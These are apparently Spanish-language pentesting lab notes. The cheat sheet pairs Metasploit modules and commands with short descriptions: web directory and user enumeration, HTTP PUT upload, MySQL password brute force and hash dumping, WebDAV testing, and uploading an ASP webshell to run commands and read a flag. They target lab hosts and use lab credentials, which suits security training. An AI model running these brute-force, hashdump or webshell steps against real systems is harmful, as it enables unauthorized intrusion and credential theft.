# Web Application Pentesting

### Web Enumeration - Metasploit

<table><thead><tr><th width="392.18182373046875">Command</th><th>Description</th></tr></thead><tbody><tr><td>use auxiliary/scanner/http/apache_userdir_enum</td><td>Enumerar userdir aparche</td></tr><tr><td>use auxiliary/scanner/http/brute_dirs</td><td>Enumerar directorios</td></tr><tr><td>auxiliary/scanner/http/dir_scanner</td><td>Enumerar directorios - P2</td></tr><tr><td>auxiliary/scanner/http/http_version</td><td>Versión del Apache</td></tr><tr><td>auxiliary/scanner/http/robots_txt</td><td>Ver el robots.txt</td></tr><tr><td>auxiliary/scanner/http/http_header</td><td>Ver la respuesta del header</td></tr><tr><td><p>auxiliary/scanner/http/files_dir</p><p>set RHOSTS victim-1</p><p>set VERBOSE false</p><p>run</p></td><td>Ver archivos en un directorio</td></tr><tr><td><p>auxiliary/scanner/http/http_put</p><p>set RHOSTS victim-1</p><p>set PATH /data</p><p>set FILENAME test.txt</p><p>set FILEDATA "Welcome To AttackDefense"</p><p>run</p></td><td>Ver si se puede subir un archivo</td></tr><tr><td><p>use auxiliary/scanner/http/http_put</p><p>set RHOSTS victim-1</p><p>set PATH /data</p><p>set FILENAME test.txt</p><p>set ACTION DELETE</p><p>run</p></td><td>Eliminar un archivo</td></tr><tr><td><p>auxiliary/scanner/http/http_login</p><p>set RHOSTS victim-1</p><p>set AUTH_URI /secure/</p><p>set VERBOSE false</p><p>run</p></td><td>Intentar hacer login</td></tr><tr><td><p>auxiliary/scanner/http/apache_userdir_enum</p><p>set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt</p><p>set RHOSTS victim-1</p><p>set VERBOSE false</p><p>run</p></td><td>Enumerar usuarios apache</td></tr></tbody></table>

***

### MySQL - Metasploit

| Command                                                                                                                                                                                                                                                    | Description                             |
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------- |
| auxiliary/scanner/mysql/mysql\_version                                                                                                                                                                                                                     | Ver la versión                          |
| <p>use auxiliary/scanner/mysql/mysql\_login</p><p>set RHOSTS demo.ine.local</p><p>set USERNAME root</p><p>set PASS\_FILE /usr/share/metasploit-framework/data/wordlists/unix\_passwords.txt</p><p>set VERBOSE false</p><p>run</p>                          | Login con fuerza bruta                  |
| <p>use auxiliary/admin/mysql/mysql\_enum</p><p>set USERNAME root</p><p>set PASSWORD twinkle</p><p>set RHOSTS demo.ine.local</p><p>run</p>                                                                                                                  | Listar MySQL                            |
| <p>use auxiliary/admin/mysql/mysql\_sql</p><p>set USERNAME root</p><p>set PASSWORD twinkle</p><p>set RHOSTS demo.ine.local</p><p>run</p>                                                                                                                   | Listar Linux que corre MySQL            |
| <p>use auxiliary/scanner/mysql/mysql\_file\_enum</p><p>set USERNAME root</p><p>set PASSWORD twinkle</p><p>set RHOSTS demo.ine.local</p><p>set FILE\_LIST /usr/share/metasploit-framework/data/wordlists/directory.txt</p><p>set VERBOSE true</p><p>run</p> | Listar archivos                         |
| <p>use auxiliary/scanner/mysql/mysql\_hashdump</p><p>set USERNAME root</p><p>set PASSWORD twinkle</p><p>set RHOSTS demo.ine.local</p><p>run</p>                                                                                                            | Obtener todos los hashes                |
| <p>use auxiliary/scanner/mysql/mysql\_schemadump</p><p>set USERNAME root</p><p>set PASSWORD twinkle</p><p>set RHOSTS demo.ine.local</p><p>run</p>                                                                                                          | Conocer nombres de tablas               |
| <p>use auxiliary/scanner/mysql/mysql\_writable\_dirs</p><p>set RHOSTS demo.ine.local</p><p>set USERNAME root</p><p>set PASSWORD twinkle</p><p>set DIR\_LIST /usr/share/metasploit-framework/data/wordlists/directory.txt</p><p>run</p>                     | Ver qué directorios se pueden modificar |

***

### WebDAV - DavTest

| Command                                                                                             | Description                     |
| --------------------------------------------------------------------------------------------------- | ------------------------------- |
| nmap --script http-enum -sV -p80 demo.ine.local                                                     | Enumerar directorios            |
| davtest -url <http://demo.ine.local/webdav>                                                         | Correr DavTEST                  |
| davtest -auth bob:password\_123321 -url [http://demo.ine.local/webdav](http://demo.ine.local/webda) | Correr DavTEST con credenciales |

### WebDAV - Cadaver

| Command                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | Description     |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------- |
| cadaver <http://demo.ine.local/webdav>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | Conectarse      |
| <p><em>Subir el archivo (sabemos cual subir con davtest)</em></p><p>put /usr/share/webshells/asp/webshell.asp</p><p>ls</p><p></p><p><em>Entrar al archivo</em></p><p>demo.ine.local/webdav/webshell.asp</p><p></p><p><em>Ejecutar comandos</em></p><p>whoami: <a href="http://demo.ine.local/webdav/webshell.asp?cmd=whoami"><http://demo.ine.local/webdav/webshell.asp?cmd=whoami></a></p><p>Ver contenido C:: <a href="http://demo.ine.local/webdav/webshell.asp?cmd=dir+C%3A%5C"><http://demo.ine.local/webdav/webshell.asp?cmd=dir+C%3A%5C></a></p><p>Leer la flag:</p><p><http://demo.ine.local/webdav/webshell.asp?cmd=type+C%3A%5Cflag.txt></p><p><br></p> | Crear una shell |

### WebDAV - Metasploit

| Command                                                                                                                                                                                                                                              | Description                                                                                                                            |
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
| <p>msfconsole -q</p><p>use exploit/windows/iis/iis\_webdav\_upload\_asp</p><p>set RHOSTS demo.ine.local</p><p>set HttpUsername bob</p><p>set HttpPassword password\_123321</p><p>set PATH /webdav/metasploit%RAND%.asp</p><p>exploit</p><p>shell</p> | <p>Con DavTest vemos la URL, que archivos se pueden subir...<br>La única diferencia es que acá usamos metasploit en vez de Cadaver</p> |
